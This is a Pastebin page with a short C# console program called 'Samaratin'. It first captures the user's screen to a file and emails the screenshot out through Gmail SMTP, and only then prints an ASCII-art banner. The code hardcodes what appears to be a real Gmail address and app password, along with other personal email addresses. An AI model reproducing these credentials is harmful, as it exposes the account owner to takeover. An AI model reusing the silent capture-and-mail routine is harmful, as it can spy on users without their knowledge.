Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Threading;
- using System.Speech.Synthesis;
- using System.Windows.Forms;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.Net.Mail;
- namespace Samaratin
- {
- class Program
- {
- static void Main(string[] args)
- {
- PrintScreen ps = new PrintScreen();
- ps.CaptureScreenToFile("C:\\Users\\jbv\\Pictures\\screen.png", System.Drawing.Imaging.ImageFormat.Png);
- SmtpClient mailServer = new SmtpClient("smtp.gmail.com", 587);
- mailServer.EnableSsl = true;
- mailServer.Credentials = new System.Net.NetworkCredential("jonasbvig@gmail.com", "wam36ysuamz49rnp");
- string from = "jonasbvig@gmail.com";
- string to = "jbv@hansenberg.dk";
- MailMessage msg = new MailMessage(from, to);
- msg.Subject = "Enter the subject here";
- msg.Body = "The message goes here.";
- msg.Attachments.Add(new Attachment("C:\\Users\\jbv\\Pictures\\screen.png"));
- mailServer.Send(msg);
- Console.Title = "Samaratin";
- Console.ForegroundColor = ConsoleColor.Red;
- SpeechSynthesizer synth = new SpeechSynthesizer();
- // Configure the audio output.
- synth.SetOutputToDefaultAudioDevice();
- Console.WriteLine(@"
- ██████ ▄▄▄ ███▄ ▄███▓ ▄▄▄ ██▀███ ▄▄▄ ▄▄▄█████▓ ██▓ ███▄ █
- ▒██ ▒ ▒████▄ ▓██▒▀█▀ ██▒▒████▄ ▓██ ▒ ██▒▒████▄ ▓ ██▒ ▓▒▓██▒ ██ ▀█ █
- ░ ▓██▄ ▒██ ▀█▄ ▓██ ▓██░▒██ ▀█▄ ▓██ ░▄█ ▒▒██ ▀█▄ ▒ ▓██░ ▒░▒██▒▓██ ▀█ ██▒
- ▒ ██▒░██▄▄▄▄██ ▒██ ▒██ ░██▄▄▄▄██ ▒██▀▀█▄ ░██▄▄▄▄██░ ▓██▓ ░ ░██░▓██▒ ▐▌██▒
- ▒██████▒▒ ▓█ ▓██▒▒██▒ ░██▒ ▓█ ▓██▒░██▓ ▒██▒ ▓█ ▓██▒ ▒██▒ ░ ░██░▒██░ ▓██░
- ▒ ▒▓▒ ▒ ░ ▒▒ ▓▒█░░ ▒░ ░ ░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ▒ ░░ ░▓ ░ ▒░ ▒ ▒
- ░ ░▒ ░ ░ ▒ ▒▒ ░░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░ ░ ▒ ░░ ░░ ░ ▒░
- ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ▒ ░ ░ ░ ░
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
- ");
- Console.WriteLine("");
- Console.WriteLine("");
- Console.Read();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement